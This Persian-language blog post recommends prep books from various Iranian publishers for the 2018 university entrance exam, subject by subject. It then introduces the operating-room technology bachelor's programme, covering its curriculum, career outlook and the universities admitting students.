معرفی منابع ویژه کنکور۹۷

 

باسلام خدمت شما دوستان عزیز

باتوجه به شروع سال تحصیلی جدید و تبلیغات پرزرق و برق انتشارات های مختلف برای کتاب های مختلف کنکوری و غیر کنکوری موسسات مختلف دی وی دی های مختلف 

و همچنین باتوجه به اینکه مقالات مختلفی از افراد و سایت های مختلف برای معرفی منابع  مختلف که درهردرس کدوم بهترو اینحرفا وگاها کسانی که اصلا حتی کتاب بررسی نکرده  ونگاهی هم ننداختن و صرفا براساس توضیحات خوده سایت و گاها پرس و جو از چندنفر اقدام به معرفی کتاب ها میکنند.

 دراینجا من تصمیم گرفتم بعد ازمطالعه تمامی این مقالات و بررسی تک تک کتابهای مختلف کنکور که هرساله ویرایش های جدید هرکدومو از لحاظ های مختلف مثل سطح تستی کتاب نوع درسنامه ها قابل فهم بودن و…و… و ازهمه مهمتر کتابهایی که قبلا امتحان خودشونو پس دادن کتابهایی که درطی سال های مختلف تحصیلی دانش آموزان ازشون استفاده کردند و نتیجه مثبت گرفتند بهتن معرفی کنم تا شما هم ازانتخابتون مطمعن بشید و اشتباهی که هرساله خیلی ازبچه ها دراول تابستون مبنی براینکه قریب ۴۰۰-۵۰۰هزارتومن پول کتاب میدهند و دراخر میفهمنو که منبعشونو درست انتخاب نکردند.

پس بادقت و آگاهانه انتخاب کنید.

kar - Copy

لازم بذکره که حتما بهتون بگم بهترین و اصلح ترین کار اینه که حتما با یه مشاور خبره و حرفه ای که کتابهای درسی رو مطالعه و بررسی کرده باشه و ازمحتویاتش خبرداشته باشه قبل ازانجام خرید کتاب مشورت کنید و وضعیت خودتونو بامشاور درمیون بذارید و بعد باتوجه به وضعیت کتاب متناسب خودتونو انتخاب کنید. 

 

توضیحی کلی درخصوص سطح کتابها درانتشارات مختلف:

گاج:کتابهای نقره ای و میکرو طبقه بندی شده ی گاج برای دانش اموزانی مناسبه کهمتوسط هستند تشریحیشون خوبه و میخوان خودشونو توی تست زدن قوی کنند. یه بانک تست به تمام معناست.اما درسنامه های گاج بدلیل کمی بد مطالبو توضیح داده قابل فهم برای همه نیست.ولی باید گفت که کتابهای خط ویژه اش واقعا خوبه

خیلی سبز: تاسال ۱۳۹۲-۹۳ درطی یک دهه کتابهای این انتشارات قوی ترین درسنامه ها رو دربین تمامی کتب اموزشی دیگه داشت.بخصوص با لحن شیرین و بامزه خودش قابل فهمتر و ساده و روان مطالب توضیح داده اما خب باید گفت که دربعضی جاها زیاده گویی هم کردهاما بااین وجود چون درهرساله ویرایش جدیدش آپدیت میشه جز بروز ترین هاست.

مبتکران:این انتشارات به لطف کتب شیمی خودش خیلی معروف شد.اما مثل خیلی سبز کمی قدیمی هستش تستهای خط به خطش و زیاد و فایده ای نداره و حتی گاها ممکن سطح دانش اموز پایین بیاره و باعث بشه دانش اموزا باعادت کردن به این تستهای اسون فاقد ارزش سوالی کتنبل بشه. 

نشرالگو:این انتشارات به کتابهای سطح بالا معروفه و تست ها و درسنامه هایی که دارند سطحشو کمی برای دانش اموزان متوسط و ضعیف مناسب نیست.

قلم چی:این انشارات کتبهای مختلفی برای سطح های مختلف دانش اموزان تالیف کرده.که هرکدوم بدی ها و خوبی های خاص خودشونو دارند بطور مثال کتابهای پرتکرار  برای دانش اموزانی که سطح کیفی و آموزشی دبیرشون خوب نیست و نتونستند درسی و یاد بگیرید خوبه.آبی قلم چی صرفا کتاب تست هستش و به نوعی بانک تست محسوب میشه و برای تراز های ۵۷۰۰ به بالا مناسبه.کتاب سه سطحی هم برای تراز ۶۲۰۰ به بالاها متناسبه اما باید گفت که یه سری کتاب جدید امسال قبم چی زده که وقتی دیدمش واقعا عاشقش شدم اونم کتابهای سبز کانون هستند این کتاب ها امسال اولین سالی هستش که وارد بازار شده. درسنامه های خیلی قوی بدون هرگونه زیاده گویی  داره که حتما توصیه میکنم برای درسهای اختصاصی خودتون حتما یکی تهیه کنید همتون بخصوص اونهایی که ضعیف هستیدو دبیرخوبی ندارید براش.

مهروماه:مهروماه هم دقیقا مثل قلم چی تیپ های مختلف کتاب هارو زده. کتابهای زردش که ویژه جمع بندی هستند و برای ایم فروردین تا کنکور دانش اموزا حتما لازمه براشون.کتاب معجزه این انتشارات هم که به تازگی در دودرس فعلا به چاپ رسیده استقبالش بینظیر بوده و بشخصه ازاین کتاب خیلی خوشم اومده.این انتشارات به کتابهایی باقیمت پایین معروفه که سطح خرید برای اکثردانش اموزا فراهم میکنه.لقمه های مهروماه هم که برای جمع بندی کاملا مناسبن

تخته سیاه:این انتشارات تاسال ۹۳ خیلی فعال بود اما خب بعدازاون یجورایی کم کار شد زیاد اسم و کتابهاش بین دانش اموزان بجزچندتایی مثل زیست و تانک تست و… معروف نبودن که باتوجه به این نمیشه فعلا درباره اش اظهار نظر کرد. 

فار:این انتشارات تازه پا به عرصه گذاشته و انصافا هم وقتی اومد ازهمون اول طوفان کرد کتاب آزمون های شیمی فار یکی از بهترین منبع تست و ارزیابی باسطح تستهایی استاندارد و بالاست بخصوصو واسه قوی ها خیلی مناسبه

توی نمایشگاه کتاب تهران هم کتاب ازمون زیست جمع بندیشو که تازه همونروز به بازار اومده بود شخصا دیدم که اونم دقیقا مثل شیمیش خوب بود. این کتاب رو میتونید برای جمع بندی هایی قوی بخصوص تو فصل بهار سال اینده استفاده کنید.

فاگوزیست:یکی دیگه از کتابهای تازه به چاپ رسیده است که محبوبیت بینظیری بین کنکوری ها بدست آورده که انصافا کتابش فوق العادست بخصوص برای کسانی که کلا نتونستند با درس زیست ارتباط برقرار کنند عالی هستش.ولی باید بگم که فاگوزیست برای دانش آموزان سال دوم و سوم و پشت کنکوری خوب هستش. چون فاگوزیست یک کتاب مفهومی است و حجم بالایی داره ولی برای دانش آموزان کنکوری(سال چهارمی ها) به علت حجم زیاد آن توصیه نمی شه. فاگوزیست کتابی با نکات ریز و موشکافانه است و در سال های پایه برای یادگیری مفهومی زیست بسیار مناسب است.

پس باتوجه به توضیحاتی که درباره ی سطح کتابهای موسسات و انتشارات مختلف بهتون دادم میتونید ازلیست زیر که بهترین های انتشارات در هر درسی هستند استفاده کنید.

معرفی کتب درسهای عمومی:

ادبیات

باتوجه به اینکه ادبیات درسی موضوعی هستش انتشارات مختلف کتابهای مختلفی درقالب ۵ موضوع کامل ویا بصورت جداگانه به چاپ رسوندند.

کتاب ادبیات ۵ گنج مهروماه- ادبیات جامع گاج-و  موضوعی نشر الگو رو بهتون پیشنهاد میکنم

عربی:

اگر عربیتون در حد قابلیه میتونید از کتاب عربی جامع خیلی سبز تالیف خانم غزال موسوی استفاده کنید
ولی باید بگم که حتما حتما از دی وی دی عربی گاج  که قیمت ارزانی هم داره همتون استفاده کنید  بخصوص اگر کلا یه کلمه از عربی سردرنمیارید این دی وی دی ها واقعا براتون خوبه

برای اطلاعات بیشتر درباره ی این دی وی دی ها اینجا کلیک کنید

دینی

کتاب آیات نکات گاج پیشنهاد میکنم.کتاب گاج نقره ای بدلیل حجم زیادی که داره اکثر دانش اموزارو  ازاین درس بیزار میکنه ولی درعوض این کتاب براشون خوبه

زبان انگلیسی

گاج جامع میکرو طبقه بندی انگلیسی 

همچنین دی وی دی زبان گاج هم دقیقا مثل عربیش خوب و قابل قبوله.

 

 

معرفی کتب اختصاصی رشته های مختلف:

شیمی:

کتاب فیل شیمی-خط ویژه شیمی – وشیمی خیلی سبز دانش موزان سطح بالا نشر الگو- سبز کانون

 

فیزیک:

معجزه فیزیک مهروماه-گنجینه فیزیک مهروماه-آبی قلم چی- فیزیک جامع تجربی انتشارات خیلی سبز – و سبز کانون

 

زیست:

معجزه زیست مهروماه- کتابهای فاگوزیست – سبز کانون 

ریاضی

ریاضیات جامع تجربی مهروماه-و یا ریاضیات جامع خیلی سبز

ریاضیات پایه و دیفرانسل دانش آموزان قوی و متوسط کتاب تخته سیاه استاد مهربان یا نشر الگودانش آموزان متوسط و متوسط رو به پایین سبز کانون 

هندسه پایه و تحلیلی
منبع آموزشی و تستی
منبع آموزشی و تستی ساده: قلم چی
منبع آموزشی و تستی خوب و عالی:فار
منابع آموزشی قوی:الگو
جبر و ریاضیات گسسته
کتاب های نشر الگو،خوشخوان،خیلی سبز 
زمین شناسی:
هفت چیز خیلی سبز ویا کتابهای لقمه کوچیک مهروماه
رشته انسانی
دانش آموزان رشته انسانی دقت بکنند که ادبیات سوم و زبان فارسی سوم اون ها با ادبیات عمومی تجربی ریاضی ها متفاوته پس برای لغت کتاب کلک معلم رو تهیه بکنن و زبان فارسی هم زبان فارسی انسانی مهر و ماه چون حساسیت راجب منابع انسانی زیاده اینجا متنی راجبش شرح میدم
 
علوم اجتماعی
برای علوم اجتماعی میتونید کتاب آبی کانون رو کار بکنید کتاب خیلی خوبی هستش
تاریخ و جغرافیا
از همین ابتدای سال کتاب های سیب مهر ماه که خلاصه نویسی شده هستند استفاده کنید
ادبیات اختصاصی
از کتاب گاج نقره ای حتما استفاده کنید+ منبع خلاصه نویسی شده تاریخ ادبیات: سیب مهر ماه
ریاضیات
گاج نقره ای در صورت داشتن ضعف آبی کانون
اقتصاد
سیب مهر ماه و خیلی سبز رو با هم کار کنید سیب به عنوان درسنامه و خیلی سبز هم به عنوان تست
روان شناسی
جامع خیلی سبز کار کنید خیلی کتاب خوبیه
فلسفه و منطق
مشاوران آموزش استاد تمنا 
عربی اختصاصی
برای عربی اختصاصی عربی اختصاصیِ خیلی سبز رو کار کنید تالیف استاد برغمدی
در پایان چندنکته باید بگم بهتون که
اکثر این کتابها رو میتونید درسایت خوده انتشارات که ادرسشونو براتون گذاشتم فایل پی دی اف قسمتهاییشونو دانلود کنیدو ازهرکدوم که خوشتون اومد اونو تهیه کنید.
اگر خرید اینترنتی درسایت خوده انتشارات ها داشته باشید ۲۰ درصد تخفیف میگیرید که درمجموع قیمت کل کتابها تخفیف های زیاد و مبلغ قابل توجهی میشه و سه چهارروزه هم دستتون میرسه
ودراخرهم  باز تاکید میکنم حتما قبل از خرید با یک مشاور خبره و زبردست که باتوجه به نیازهاتون بهتون کتابهایی که مورد نیازتونه بهتون معرفی کنه.

چنانچه سوالی درخصوص برنامه ریزی و داشتید در همین تاپیک کامنت بذارید.

بدلیل تماسها و مشاوره ها قادر به پاسخگویی سوالاتتون از طریق پیامک ویا تماس تلفنی نیستم لطفا توی همین پست کامنت بذارید

پاسختونو تا شب دریافت کنید.

معرفی رشته اتاق عمل+رتبه لازم

هدف و ماهیت

 گسترش مراکز بیمارستانی دارای اتاق عمل جراحی و نیاز روزافزون به افراد کاردان برای اداره اتاق‌های عمل جراحی، بیانگر نیاز جامعه به تکنسین اتاق عمل است. افرادی که می‌توانند درمسائل فنی، پزشکان جراح را یاری دهند. فارغ‌التحصیلان این رشته می‌توانند در اتاق عمل به جراحان کمک‌های لازم فنی را ارائه دهند. همچنین این دسته از متخصصان می‌توانند وسائل جراحی و استریل را جهت استفاده آماده نمایند و اداره اتاق عمل را به عهده گیرند.
در سراسر دنیا برنامه اتاق عمل به دو صورت ارائه می شود : در حالت اول دانش آموختگان رشته ی کارشناسی  پرستاری ( پس ازکسب مدرک لیسانس) در یک دوره ۱-۲ ساله برای ورود به اتاق عمل آموزش می بینند. در حالت دوم دانشجویان در مقطع کاردانی آموزش های عمومی دوره اتاق عمل را می گذرانند و برای ایفای نقش به عنوان فرد سیار و اسکراب آماده می شوند و سپس درصورت تمایل در یک دوره ی ۵/۱-۵/۲ ساله برای ایفای نقش به  عنوان کمک اول جراح آماده می شوند.به عنوان مثال با نگاهی به انجمن پرستاران دانشگاه کارولینسکا مشخص می شود که پرستاران پس از طی دوره کارشناسی و اخذ پروانه کار بع صورت RN ، می توانند با گذراندن یک
دوره دانشگاهی مصوب به مدت ۴۵ هفته( تقریبا یکسال ) مدرک تحصیلی اطاق عمل دریافت نموده و به عنوان یک فرد با تجربه در اطاق عمل مشغول به کار گردند.و یا در کالج پرستاران اطاق عمل استرالیا،پرستاران پس از دوره کارشناسی و اخذ پروانه کار به صورت RN می توانند طی یک دوره دانشگاهی مصوب با گذراندن ۲۷ موضوع درسی به صورت پرستار متخصص قبل،حین و بعد از عمل در نقش های پرستار بیهوشی ،پرستار سیرکولیت ، پرستار ثبت ، پرستار تجهیزات ، کمک جراح ، پرستار ریکاوری و بعد از عمل و پرستار بررسی و شناخت و آموزش به بیمار قبل از عمل فعالیت کنند.

نطری براستاندارد های مراقبت از بیماران در انجمن پرستاران اتاق عمل آمریکا نیز نشان می دهد که دانشجویان  دوره های تکنسین اتاق عمل می توانند تا دوره های تخصصی بالاتر ادامه تحصیل دهند . با ذکر این نکته که افراد هر  دوره ای شرح وظایف خاص خود را دارند و نقش افرادی که دوره تخصصی را طی کرده اند با تکنسین اتاق عمل تفاوت  دارد . با نگاهی بر استانداردهای مراقبت از بیمار در انجمن پرستاران اتاق عمل امریکا نی. نشان می دهد که دانشجویان  دوره های تکنسین اتاق عمل می توانند تا دوره های تخصصی بالاتر ادامه تحصیل دهند.با ذکر این نکته که افراد  هر دوره ای شرح وظایف خاص خود را دارند و نقش افرادی که دوره تخصصی را طی کرده اند با تکنسین اطاق عمل تفاوت دارند .با نگاهی به استاندارد های انجمن تکنولوژیست های جراحی (AST) نیز مشاهده می شود که افراد شاغل در اتاق عمل دارای مدارک متقاوتی می باشند به عنوان مثال تکنولوژیست های جراحی برای ایفای نقش اسکراب در سه سطح ۱-۲-۳ آموزش می بینند.در سطح اول فرد در عمل های عمومی وارد می شود در سطح دوم می تواند در عمل های تخصصی تر ایفای نقش نماید و در سطح سوم فرد در حوزه ی مدیریت نیز وارد می گردد.

رشته اتاق عمل درایران درمقطع کاردانی بین سالهای ۱۳۶۶ تا۱۳۸۰ودرمقطع کارشناسی پیوسته وناپیوسته ازسال ۱۳۸۷  دردانشکده های مختلف سطح کشورراه اندازی گردید. این رشته دردانشکده های پیراپزشکی ویاپرستاری به دانشجویان  ارائه میگردد. دراین دانشکده ها گروه اتاق عمل متولی اداره دانشجویان دررشته اتاق عمل میباشد.درکشورایران تاکنون  رشته ای مشابه رشته کارشناسی اتاق عمل وجودنداشته است ودانشجویان دردوره های کاردانی اتاق عمل شروع به  تحصیل نموده ودرصورت تمایل به ارتقاء علمی وعملی خودباشرکت درکنکورکارشناسی ناپیوسته بعنوان پرستاردراتاق عمل یاسایربخشهامشغول بکارمیشوند.

ضرورت وجودحرفه وارتقاء حرفه ای:

تکنولوژیستهای اتاق عمل عضومهمی ازتیمهای بهداشتی بوده که درتماس نزدیک باجراحان ، متخصصان بیهوشی وپرستاران درراستای تامین مراقبتی مطلوب برای بیماران فعالیت میکنندوازآن جا که سنگ زیربنایی رشدوتوسعه یک حرفه ، آموزش آن حرفه میباشد. انتظارمیرودکه تاسال ۲۰۱۲ میزان نیازبه تکنولوژیستهای اتاق عمل سریعترازحدمتوسط افزایش یابد . علت این امرافزایش تعدادوانواع اعمال جراحی ورشدجمعیت ونیزافزایش تعدادونیزافزایش میزان سالمندی است . (زیراافرادسالمندنیازبه اعمال جراحی بیشتری دارند. ازطرفی تغییرات وسیع وچشمگیرموجوددرتکنیکهای جراحی نیازمندهم سطح شدن تکنسینهای جراحی بانقشهاووظایف جدیدبوده وبرنامه آموزشی کنونی برای برآوردن نیازهای پرسنل اتاق عمل درآینده کافی نخواهدبود. وباایجاد رشته کارشناسی اتاق عمل امکان دستیابی به بخشی ازمهارت ودانش موردنظر راپیدا خواهند نمود.
رسالت رشته :

رسالت رشته اتاق عمل درمقطع کارشناسی پیوسته تربیت نیروی انسانی آگاه ، متعهدوکارآمداست.که باکسب توانائیهای حرفه ای دراتاق عمل وبهره مندی ازدانش وتکنولوژی روز، خدمات موردنیازمراقبتی وآموزشی مقرون به صرفه را در بالاترین سطح استانداردجهت تعمیم ، حفظ وارتقاء سطح سلامت بیماروجامعه ارائه دهند.

توانایی فردی موردنیازبرای رشته:

برای انجام استانداردهای این حرفه ، صداقت وپایبندی به اصول اخلاقی ضروری است. یک تکنولوژیست اتاق عمل شایسته بایدنگرشی مراقبتی نسبت به بیمارودیگراعضای تیمهای جراحی ومحیط داشته باشد. وی بعنوان عضوی ازتیم اتاق عمل ، بایدقادرباشدکه باسرعت وبادقت به جزئیات کارکند. قادربه اولویت بندی مسائل درشرایط اورژانس وپراسترس باشد، بنابراین نیازبه افرادی است که احساس مسئولیت شدیدوشخصیت باثبات داشته ، صبوروعلاقمندبه کمک به دیگران بوده وبه نیازهای بیمارودیگراعضای تیم جراحی حساس باشند. وازآن جا که کاردراتاق عمل نیازبه ایستادن برای مدت زمان طولانی وتوانائی برای جابجایی وبلندکردن اشیا سنگین داردوفردرادرمعرض مناظروبوهای ناخوشایند، بیماریهای مسری وموادخطرناک قرارمیدهد ، فرد باید توانائی جسمی لازم راداشته باشد.

امکان ادامه تحصیل درمقاطع بالاتر:

نظربه اینکه این رشته ، رشته ای کاملاً نوپا میباشد. درحال حاضربه نظرمیرسددانش آموختگان این رشته بتواننددرآینده دررشته های مرتبط مانندآناتومی ، فیزیولوژی ، مهندسی تجهیزات پزشکی ، کمک اول جراح و…. ادامه تحصیل دهند. اعضای این گروه امیدوارهستندکه بتوانندباتلاش خوددرجهت ارتقاء واعتلای این حرفه گامی هرچندکوچک بردارند.

فرصت های شغلی :

اغلب تکنولوژیستهای اتاق عمل دربیمارستانها ومراکزمراقبتی سیاراستخدام میشوند. اگرچه بیمارستانها اولین استخدام کننده این گروه میباشنداماانتظارمیروداستخدام آنها درمراکزجراحی سیار، مراکزمراقبتی سرپایی ومطبهای پزشکان افزایش یابد. به هرحال به علت زمینه آموزشی وسیع وتخصصی که این افراددارند، سازمانهای استخدام کننده واین دانش آموختگان میتوانندگزینه های زیررانیزدرنظربگیرند.

تخصص یافتن درزمینه های موردعلاقه مانندجراحی قلب ، ارتوپدی واطفال و….

استخدام توسط یک سازمان پزشکی برای ارائه محصولات آنها

آموزش تکنولوژیست های اتاق عمل .

خدمات نظامی

استخدام بعنوان مشاور

البته برخی ازاین مشاغل نیازبه دوره های آموزشی اضافی دارد.

طول دوره کارشناسی اتاق عمل :

طول دوره کارشناسی پیوسته رشته اتاق عمل ونظام آموزشی آن مطابق آئیننامه آموزشی دوره کارشناسی پیوسته وناپیوسته مصوب شورای عالی برنامه ریزی علوم پزشکی است. مدت تحصیل حداقل ۴سال و حداکثر ۵سال(در شرایط خاص و با موافقت آموزش کل دانشگاه علوم پزشکی مثل مرخصی تحصیلی و……. ) میباشد.

نام درس وتعدادواحدهای درسی :

تعدادکل واحدهای درسی دوره کارشناسی پیوسته رشته اتاق عمل ۱۳۰ واحدوبه شرح زیرمیباشد.

دروس عمومی : ۲۲ واحد ، دروس پایه ، اختصاصی وکارآموزی ۸۴ واحد ، کارآموزی درعرصه : ۲۴ واحد

نکته: در اعلام سرفصل دروس این رشته از سایت وزارت علوم استفاده شده است.این سرفصل صرفا جهت آشنایی کلی با محتوای دروس است و احتمال تغییرات جزیی وجود دارد.

 

دروس عمومی کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

دروس پایه، اختصاصی و کارآموزی کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
تشریح ۱ ۲ آشنایی با بیماریهای داخلی ۲
تشریح ۲ ۲ تکنولوژی جراحی در جراحیهای گوارش و غدد ۳
فیزیولوژی ۱ ۲ تکنولوژی جراحی در جراحیهای زنان و ارولوژی  (اداری – تناسلی) ۲
فیزیولوژی ۲ ۱ تکنولوژی جراحی در جراحیهای قلب (قلب و عروق) و تنفس ۲
شیمی آلی و بیوشیمی ۲ تکنولوژی جراحی در جراحیهای اعصاب و ارتوپدی ۳
میکروب شناسی و انگل شناسی ۳ تکنولوژی جراحی در جراحیهای ENT فک  و صورت و چشم ۲
آسیب شناسی ۱ تکنولوژی جراحی در جراحیهای اطفال ۱
خون شناسی و انتقال خون ۲ تکنولوژی جراحی در جراحیهای پوست و سوختگی و پیوند ۱
ایمونولوژی ۲ بیهوشی ۲
آمار حیاتی ۱ روش احیای قلبی و ریوی و اصول مراقبت های ویژه ۳
روش تحقیق در اتاق عمل ۱ اصول پیشرفته مراقبت در اتاق بهبودی ۲
فناوری اطلاعات در اتاق عمل ۲ فوریتها ۱
فیزیک پزشکی و الکتریسیته و رباتیک و کاربرد آن در اتاق عمل ۲ مدیریت در اتاق عمل ۲
روان شناسی عمومی ۳ اخلاق حرفه ای در اتاق عمل ۱
داروشناسی ۱ کارآموزی مهارتهای پرستاری در بخش های داخلی و جراحی ۲
اصطلاحات پزشکی ۲ کارآموزی رفتار در اتاق عمل ۱
زبان تخصصی ۲ کارآموزی بخش استریل مرکزی ۱
بهداشت روان در اتاق عمل ۲ کارآموزی اصول و فنون عملکرد فرد اسکراب و سیار ۲
بهداشت ۲ کارآموزی تکنیک اتاق عمل ۳
اصول و فنون عملکرد فرد سیار ۲ کارآموزی روشهای احیاء قلبی ریوی ۱
اصول و فنون عملکرد فرد اسکراب ۲ کارآموزی اصول مراقبت در اتاق بهبودی ۲
اصول استریلیزاسیون و ضدعفونی ۱ کارآموزی مدیریت در اتاق عمل ۱
آشنایی با وسایل و تجهیزات اتاق عمل ۲ کارآموزی در اتاق عمل اورژانس ۱
مقدمه ای بر تکنولوژی جراحی ۲ جمع ۸۴

 

دروس کارآموزی در عرصه کارشناسی اتاق عمل

نام درس تعداد واحد نام درس تعداد واحد
کارآموزی در عرصه ارتوپدی ۲ کارآموزی در عرصه فک و صورت * ۲
کارآموزی در عرصه اعصاب ۲ کارآموزی در عرصه توراکس * ۲
کاراموزی در عرصه سوختگی و ترمیمی * ۲ کارآموزی در عرصه ENT ۲
کارآموزی در عرصه زنان ۲ کارآموزی در عرصه اطفال  * ۱
کارآموزی در عرصه اورولوژی (ادراری ـ تناسلی) ۲ کارآموزی در عرصه جراحی گوارش و غدد ۲
کارآموزی در عرصه قلب و عروق * ۲ کارآموزی در عرصه در یک حیطه جراحی ( انتخابی) ۱
کارآموزی در عرصه چشم ۲ جمع ۲۴

*دانشگاه هایی  که امکانات کافی جهت ارائه این دروس به صورت کارآموزی در عرصه ندارند ، واحد معادل این کارآموزی ها را به کارآموزی های در عرصه ارتوپدی، زنان، گوارش و غدد و اعصاب اضافه نمایند.
** کارآموزی در عرصه منحصراً در بخش های آموزشی و با حضور مربی صورت می گیرد.

 

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر

 

دانشگاه هایی که در رشته اتاق عمل پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۵)
(غیر از دانشگاه پیام نور، موسسات غیرانتفاعی و دانشگاه آزاد)

دانشگاه علوم پزشکی اراک دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه
دانشگاه علوم پزشکی اصفهان دانشگاه علوم پزشکی البرز دانشگاه علوم پزشکی ایلام
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندرعباس دانشگاه علوم پزشکی بوشهر
دانشگاه علوم پزشکی بیرجند دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران
دانشگاه علوم پزشکی جهرم دانشگاه علوم پزشکی اهواز دانشگاه علوم پزشکی بجنورد
دانشگاه علوم پزشکی رفسنجان دانشگاه علوم پزشکی زابل دانشگاه علوم پزشکی زاهدان
دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سبزوار دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شاهرود دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی
دانشگاه علوم پزشکی شیراز دانشگاه علوم پزشکی فسا دانشگاه علوم پزشکی قزوین
دانشگاه علوم پزشکی قم دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان
دانشگاه علوم پزشکی کرمان دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گلستان
دانشگاه علوم پزشکی گناباد دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشگاه شاهد
دانشگاه علوم پزشکی تربت حیدریه دانشگاه علوم پزشکی بقیت الله دانشگاه علوم پزشکی ارتش
دانشکده علوم پزشکی خمین دانشکده علوم پزشکی گراش(فارس) دانشکده علوم پزشکی ایرانشهر
دانشکده علوم پزشکی نیشابور دانشگاه علوم پزشکی جیرفت دانشکده علوم پزشکی لارستان
دانشکده علوم پزشکی بهبهان دانشگاه علوم پزشکی ایران دانشگاه علوم پزشکی دزفول
دانشکده علوم پزشکی آبادان دانشکده علوم پزشکی ساوه دانشکده علوم پزشکی مراغه
دانشگاه علوم پزشکی شوشتر دانشکده علوم پزشکی ایرانشهر دانشگاه علوم پزشکی بم
دانشگاه علوم پزشکی شاهد

